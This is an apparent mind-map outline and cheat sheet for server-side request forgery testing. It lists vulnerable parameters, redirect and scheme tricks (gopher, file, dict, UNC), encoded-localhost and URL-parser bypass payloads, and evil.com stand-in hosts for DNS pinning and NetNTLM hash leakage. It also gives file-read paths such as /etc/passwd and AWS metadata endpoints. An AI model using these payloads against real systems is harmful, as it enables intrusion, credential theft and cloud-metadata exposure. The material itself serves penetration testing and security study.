Карта 1
SSRF
Search & Destroy
  Attacks
  DNS
  Schemas
  Where to find?
  Redirect
  Bypass block list
  File processing
    HTML/PDF/Image Rendering
    SSRF via ffmpeg AVI/M3U8
    XXE: xml, docx, odt
    SSRF via SVG
    https://github.com/allanlw/svg-cheatsheet
  Reverse Proxies
Load Balancers
    GET @evil.com HTTP/1.1
    Headers: Host, Referer, X-Forwarded-For
    Cracking the lens
by James Kettle
  Brute GET/POST
typical SSRF params
  ?url=
  ?uri=
  ?link=
  URL preview
  Callbacks
  Upload image/file by URL
  Open Redirect to allowed domain
    target.com/?url=http://127.0.0.1
  Bypass redirect protection
    Check various response codes:
201, 301, 302, 303, 307, 308
  Chain of redirects via controlled site
  Redirect with scheme changing
    Location: gopher://127.0.0.1:11211/_data
  HTTP
    http:
    https:
  FTP
    ftp:
    tftp:
    sftp:
  UNC Paths
    \\127.0.0.1\$C\Windows\win.ini
    \\evil.com\share
  Other
    jar:
    dict:
    gopher:
    ldap:
  Java Only
  DNS rebinding
    Check tool http://1u.ms/
  DNS pinning
    evil.com -> 127.0.0.1
    evil.com -> 169.254.169.254
  Bypass restrictions
    Internal API
    403 restrictions
    Access to admin panel
  Attacks on SSRF client
    SSRF to XXE
    Fingerprint SSRF client
  Address encoding
    Octal: http://0177.0.0.01
    Decimal: http://2130706433/
    Hex: http://0x7f.0x0.0x0.0x1
    Mixed: http://0177.0x0.0x0.1
  Unicode Normalization
    http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
  URL Parser Logic
    http://evil$google.com
    http://127.1.1.1:80\@127.2.2.2:80/
    http://127.1.1.1:80\@@127.2.2.2:80/
    0://evil.com:80;http://google.com:80/
    A New Era Of SSRF
Exploiting URL Parser
by Orange Tsai
  File read
    /proc/self/environ
    C:/Windows/win.ini
    Application log files
    Application config files
  IPv6 Address
    http://[::]:80
    http://0000::1:80/
    http://::1/server-status
  Localhost
Representation
    http://0/
    http://127.1
    http://0.0.0.0
    http://127.127.127.127
  NetNTLM Hash Leakage
  Almost deprecated
  File read
    file:///etc/passwd
    netdoc:///etc/passwd
  Redirect via controlled site
    Location: http://127.0.0.1
  If Metadata v1 enabled
  Cloud meta API
    AWS
      169.254.169.254/latest/user-data
      169.254.169.254/latest/meta-data/hostname
      169.254.169.254/latest/meta-data/ami-id
    Check target IP to find out cloud provider
  SSRF to XSS
  Known public
DNS pinnings
    localtest.me
    169.254.169.254.xip.io
    spoofed.burpcollaborator.net
    Find target domain with A 127.0.0.1
  Internal network
recon
    Port scanning using errors or time delay
    Fingerprint known HTTP services
    Blind SSRF port
scanning via DNS
    Blind SSRF Exploitation
by Wallarm